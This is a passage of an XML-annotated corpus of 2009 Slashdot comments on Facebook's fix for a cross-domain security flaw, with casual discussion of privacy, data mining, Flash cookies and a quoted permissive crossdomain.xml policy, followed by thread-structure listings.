Somewhere... hidden among all the assholes.. probably..Also , you are dead wrong : ) data-mining anyone and everyone seems to be a very popular thing , whether you think the people are important or not .</tokentext>
<sentencetext>There are actually accomplished non-asshole, intelligent, and fair-minded people here on slashdot.
Somewhere... hidden among all the assholes.. probably..Also, you are dead wrong :)  data-mining anyone and everyone seems to be a very popular thing, whether you think the people are important or not.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996416</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30006022</id>
	<title>Deactivation</title>
	<author>andytgeezer</author>
	<datestamp>1257525660000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>There's never a wrong week to deactivate your facebook account....</htmltext>
<tokenext>There 's never a wrong week to deactivate your facebook account... .</tokentext>
<sentencetext>There's never a wrong week to deactivate your facebook account....</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996066</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996904</id>
	<title>Re:Blunderware...</title>
	<author>tibman</author>
	<datestamp>1257446700000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>I will agree with you that it's a small accomplishment to not have a social networking account anywhere.  Mostly because everyone goes "sign up so we can do X together" or "sign up so we can be 'in a relationship' together" or whatever other viral method of spreading is popular today.</p><p>I still have an LJ account from around the time i first signed up at slashdot.  *sigh* yes! i know that is a blog.. and yes i know that blogs aren't cool anymore.  But what i discovered is that when it became uncool.. suddenly the quality of posts and comments improved!  It's obvious why in hindsight, really.</p></htmltext>
<tokenext>I will agree with you that it 's a small accomplishment to not have a social networking account anywhere .
Mostly because everyone goes " sign up so we can do X together " or " sign up so we can be 'in a relationship ' together " or whatever other viral method of spreading is popular today.I still have an LJ account from around the time i first signed up at slashdot .
* sigh * yes !
i know that is a blog.. and yes i know that blogs are n't cool anymore .
But what i discovered is that when it became uncool.. suddenly the quality of posts and comments improved !
It 's obvious why in hindsight , really .</tokentext>
<sentencetext>I will agree with you that it's a small accomplishment to not have a social networking account anywhere.
Mostly because everyone goes "sign up so we can do X together" or "sign up so we can be 'in a relationship' together" or whatever other viral method of spreading is popular today.I still have an LJ account from around the time i first signed up at slashdot.
*sigh* yes!
i know that is a blog.. and yes i know that blogs aren't cool anymore.
But what i discovered is that when it became uncool.. suddenly the quality of posts and comments improved!
It's obvious why in hindsight, really.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996184</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30002730</id>
	<title>Re:Huh.</title>
	<author>commodoresloat</author>
	<datestamp>1257436860000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>I think "Tom" knew about it but he didn't tell anybody.  Who knows, though; that guy is friends with everyone.</p></htmltext>
<tokenext>I think " Tom " knew about it but he did n't tell anybody .
Who knows , though ; that guy is friends with everyone .</tokentext>
<sentencetext>I think "Tom" knew about it but he didn't tell anybody.
Who knows, though; that guy is friends with everyone.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996036</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30001070</id>
	<title>Other sites</title>
	<author>Anonymous</author>
	<datestamp>1257421740000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>I'm not sure I totally understand the technical issues, but is Xanga doing this wrong? http://www.xanga.com/crossdomain.xml</p><p>cross-domain-policy&gt;<br>
&nbsp; &nbsp; allow-http-request-headers-from domain="*" headers="*"/&gt;<br>
&nbsp; &nbsp; allow-access-from domain="*" to-ports="80"/&gt;<nobr> <wbr></nobr>/cross-domain-policy&gt;</p></htmltext>
<tokenext>I 'm not sure I totally understand the technical issues , but is Xanga doing this wrong ?
http : //www.xanga.com/crossdomain.xmlcross-domain-policy &gt;     allow-http-request-headers-from domain = " * " headers = " * " / &gt;     allow-access-from domain = " * " to-ports = " 80 " / &gt; /cross-domain-policy &gt;</tokentext>
<sentencetext>I'm not sure I totally understand the technical issues, but is Xanga doing this wrong?
http://www.xanga.com/crossdomain.xmlcross-domain-policy&gt;
    allow-http-request-headers-from domain="*" headers="*"/&gt;
    allow-access-from domain="*" to-ports="80"/&gt; /cross-domain-policy&gt;</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29997306</id>
	<title>Re:Blunderware...</title>
	<author>Anonymous</author>
	<datestamp>1257448620000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>How the hell is this insightful? He insults the GP and then makes wrong conclusions while conveniently forgetting the fact that data mining is not targeted at anyone especially...</p></htmltext>
<tokenext>How the hell is this insightful ?
He insults the GP and then makes wrong conclusions while conveniently forgetting the fact that data mining is not targeted at anyone especially.. .</tokentext>
<sentencetext>How the hell is this insightful?
He insults the GP and then makes wrong conclusions while conveniently forgetting the fact that data mining is not targeted at anyone especially...</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996416</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29997558</id>
	<title>Facebook Spam</title>
	<author>pipingguy</author>
	<datestamp>1257449880000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>Yeah, I'm a lamer, I have a FaceBook account.<br> <br>
Am I the only one who's been getting a shitload of FaceBook spam recently?</htmltext>
<tokenext>Yeah , I 'm a lamer , I have a FaceBook account .
Am I the only one who 's been getting a shitload of FaceBook spam recently ?</tokentext>
<sentencetext>Yeah, I'm a lamer, I have a FaceBook account.
Am I the only one who's been getting a shitload of FaceBook spam recently?</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29997430</id>
	<title>Re:McCroskey</title>
	<author>ThatsNotPudding</author>
	<datestamp>1257449400000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><blockquote><div><p>Don't post anything on Facebook.</p></div>
</blockquote><p>Fixed it for you.</p></div>
	</htmltext>
<tokenext>Do n't post anything on Facebook .
Fixed it for you .</tokentext>
<sentencetext>Don't post anything on Facebook.
Fixed it for you.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996266</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29997188</id>
	<title>I'm wondering...</title>
	<author>Anonymous</author>
	<datestamp>1257448020000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>What about the backdoor that lets you find someone's picture album and their profile if you have the filename of one of their pictures from the album (say, someone dragged the picture into a folder, and then e-mailed it or posted it on a message board, thinking that since they're not posting a link to the facebook photo they're anonymous)?</p><p>Will they ever fix that?</p></htmltext>
<tokenext>What about the backdoor that lets you find someone 's picture album and their profile if you have the filename of one of their pictures from the album ( say , someone dragged the picture into a folder , and then e-mailed it or posted it on a message board , thinking that since they 're not posting a link to the facebook photo they 're anonymous ) ? Will they ever fix that ?</tokentext>
<sentencetext>What about the backdoor that lets you find someone's picture album and their profile if you have the filename of one of their pictures from the album (say, someone dragged the picture into a folder, and then e-mailed it or posted it on a message board, thinking that since they're not posting a link to the facebook photo they're anonymous)?Will they ever fix that?</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996328</id>
	<title>maybe</title>
	<author>Anonymous</author>
	<datestamp>1257443880000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>this why the fb chat plugin for pidgin/adium is broken?</p></htmltext>
<tokenext>this why the fb chat plugin for pidgin/adium is broken ?</tokentext>
<sentencetext>this why the fb chat plugin for pidgin/adium is broken?</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29998778</id>
	<title>Re:Facebook is a buggy mess</title>
	<author>mcgrew</author>
	<datestamp>1257411720000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p><i>Out of all the sites I have ever used, Facebook is the worst when it comes to bugs.</i></p><p>I see you've never been to slashdot.</p></htmltext>
<tokenext>Out of all the sites I have ever used , Facebook is the worst when it comes to bugs.I see you 've never been to slashdot .</tokentext>
<sentencetext>Out of all the sites I have ever used, Facebook is the worst when it comes to bugs.I see you've never been to slashdot.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996594</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29998634</id>
	<title>Thank god</title>
	<author>OricAtmos48K</author>
	<datestamp>1257454260000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>I am happy to hear that the patch is out in action otherwise WOULD YOU LIKE TO ENLARGE YOUR P**IS ?</htmltext>
<tokenext>I am happy to hear that the patch is out in action otherwise WOULD YOU LIKE TO ENLARGE YOUR P * * IS ?</tokentext>
<sentencetext>I am happy to hear that the patch is out in action otherwise WOULD YOU LIKE TO ENLARGE YOUR P**IS ?</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996318</id>
	<title>Re:McCroskey</title>
	<author>wiz31337</author>
	<datestamp>1257443820000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>I agree, unfortunately there are a lot of people that don't realize this and will click on any and every cool looking app out there.</p><p>However, even if your Facebook account is compromised people need to realize that they should only be putting information on their page that they want the whole world to see.  If people would just ask themselves one question "Am I ok with my [boss, wife, mom, complete stranger] knowing this" before posting a lot of issues could be avoided.</p></htmltext>
<tokenext>I agree , unfortunately there are a lot of people that do n't realize this and will click on any and every cool looking app out there.However , even if your Facebook account is compromised people need to realize that they should only be putting information on their page that they want the whole world to see .
If people would just ask themselves one question " Am I ok with my [ boss , wife , mom , complete stranger ] knowing this " before posting a lot of issues could be avoided .</tokentext>
<sentencetext>I agree, unfortunately there are a lot of people that don't realize this and will click on any and every cool looking app out there.However, even if your Facebook account is compromised people need to realize that they should only be putting information on their page that they want the whole world to see.
If people would just ask themselves one question "Am I ok with my [boss, wife, mom, complete stranger] knowing this" before posting a lot of issues could be avoided.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996180</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996036</id>
	<title>Huh.</title>
	<author>Anonymous</author>
	<datestamp>1257442500000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>5</modscore>
	<htmltext>I wonder how many people figured this out and <i>didn't</i> report it.</htmltext>
<tokenext>I wonder how many people figured this out and did n't report it .</tokentext>
<sentencetext>I wonder how many people figured this out and didn't report it.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29998998</id>
	<title>Re:Facebook is a buggy mess</title>
	<author>Dragonslicer</author>
	<datestamp>1257412680000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p><div class="quote"><p>Out of all the sites I have ever used, Facebook is the worst when it comes to bugs.</p></div><p>All three of them?</p></div>
	</htmltext>
<tokenext>Out of all the sites I have ever used , Facebook is the worst when it comes to bugs.All three of them ?</tokentext>
<sentencetext>Out of all the sites I have ever used, Facebook is the worst when it comes to bugs.All three of them?
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996594</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996666</id>
	<title>Re:McCroskey</title>
	<author>bi\_boy</author>
	<datestamp>1257445500000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>The problem is if any of your friends used an app or took quiz that means all of your information was compromised also.</htmltext>
<tokenext>The problem is if any of your friends used an app or took quiz that means all of your information was compromised also .</tokentext>
<sentencetext>The problem is if any of your friends used an app or took quiz that means all of your information was compromised also.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996180</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996862</id>
	<title>Re:Blunderware...</title>
	<author>TheRaven64</author>
	<datestamp>1257446460000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>I think you might be projecting a bit there.  Lots of us have offline lives too.  I don't have an account on any social networking sites either.  I set up a mailing list for my friends to use to organise social activities.  It's trivial for them to use: just send a mail to the address and everyone else gets it.  Even the least technical of them can manage that, while a few of them have problems with Facebook.  I don't get the shared online photo album stuff, but people show me photos at parties instead so I don't feel like I'm missing out.</htmltext>
<tokenext>I think you might be projecting a bit there .
Lots of us have offline lives too .
I do n't have an account on any social networking sites either .
I set up a mailing list for my friends to use to organise social activities .
It 's trivial for them to use : just send a mail to the address and everyone else gets it .
Even the least technical of them can manage that , while a few of them have problems with Facebook .
I do n't get the shared online photo album stuff , but people show me photos at parties instead so I do n't feel like I 'm missing out .</tokentext>
<sentencetext>I think you might be projecting a bit there.
Lots of us have offline lives too.
I don't have an account on any social networking sites either.
I set up a mailing list for my friends to use to organise social activities.
It's trivial for them to use: just send a mail to the address and everyone else gets it.
Even the least technical of them can manage that, while a few of them have problems with Facebook.
I don't get the shared online photo album stuff, but people show me photos at parties instead so I don't feel like I'm missing out.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996416</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996796</id>
	<title>Now if only Adobe would...</title>
	<author>Dracos</author>
	<datestamp>1257446160000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>Remove Flash's ability for cross-domain cookies.  Browser plugins should use the browser's cookie storage, IMO.</p></htmltext>
<tokenext>Remove Flash 's ability for cross-domain cookies .
Browser plugins should use the browser 's cookie storage , IMO .</tokentext>
<sentencetext>Remove Flash's ability for cross-domain cookies.
Browser plugins should use the browser's cookie storage, IMO.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996362</id>
	<title>How much did paypal pay for that domain?</title>
	<author>OCURServant</author>
	<datestamp>1257444000000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>God damn paypal! Always messing things up</htmltext>
<tokenext>God damn paypal !
Always messing things up</tokentext>
<sentencetext>God damn paypal!
Always messing things up</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29997298</id>
	<title>Cross d'oh! man</title>
	<author>Anonymous</author>
	<datestamp>1257448560000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>The rise of the "cross d'oh! man" http://bit.ly/1x3krU (from http://twitter.com/vambenepe/status/5455193554)</p></htmltext>
<tokenext>The rise of the " cross d'oh !
man " http : //bit.ly/1x3krU ( from http : //twitter.com/vambenepe/status/5455193554 )</tokentext>
<sentencetext>The rise of the "cross d'oh!
man" http://bit.ly/1x3krU (from http://twitter.com/vambenepe/status/5455193554)</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30002934</id>
	<title>Re:McCroskey</title>
	<author>Anonymous</author>
	<datestamp>1257440340000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p><div class="quote"><p>Don't post anything on Facebook you aren't comfortable telling your friends, your boss, your wife, or any random stranger.</p></div><p>I don't have any problem telling my secrets to random strangers. Just don't tell my friends or my boss, and especially don't tell my family.</p></div>
	</htmltext>
<tokenext>Do n't post anything on Facebook you are n't comfortable telling your friends , your boss , your wife , or any random stranger.I do n't have any problem telling my secrets to random strangers .
Just do n't tell my friends or my boss , and especially do n't tell my family .</tokentext>
<sentencetext>Don't post anything on Facebook you aren't comfortable telling your friends, your boss, your wife, or any random stranger.I don't have any problem telling my secrets to random strangers.
Just don't tell my friends or my boss, and especially don't tell my family.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996266</parent>
</comment>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_3</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30001104
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996416
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996184
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_7</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29997306
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996416
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996184
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_19</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996318
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996180
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996066
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_0</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29997064
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996416
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996184
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_4</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996904
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996184
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_23</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30002730
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996036
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_8</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996648
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996184
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_21</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996862
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996416
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996184
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_20</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29998770
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996266
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996180
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996066
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_12</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30006022
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996066
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_22</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30003334
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996184
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_16</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30006036
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996266
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996180
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996066
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_13</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30002766
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996594
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_10</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29997430
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996266
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996180
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996066
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_1</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996820
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996066
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_5</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29998778
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996594
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_17</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29998526
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996718
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996416
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996184
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_14</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996262
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996180
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996066
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_11</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29998474
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996474
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996184
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_9</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29998998
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996594
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_18</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996720
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996328
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_2</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996666
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996180
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996066
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_6</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29999654
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996594
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_09_11_05_1552204_15</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30002934
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996266
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996180
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996066
</commentlist>
</thread>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation09_11_05_1552204.3</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996184
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996648
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996416
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30001104
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996862
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996718
---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29998526
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29997306
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29997064
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996474
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29998474
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30003334
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996904
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation09_11_05_1552204.1</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996036
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30002730
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation09_11_05_1552204.4</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996328
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996720
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation09_11_05_1552204.2</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996446
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation09_11_05_1552204.7</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996796
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation09_11_05_1552204.5</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996260
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation09_11_05_1552204.8</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29997188
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation09_11_05_1552204.6</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996066
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996820
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30006022
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996180
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996266
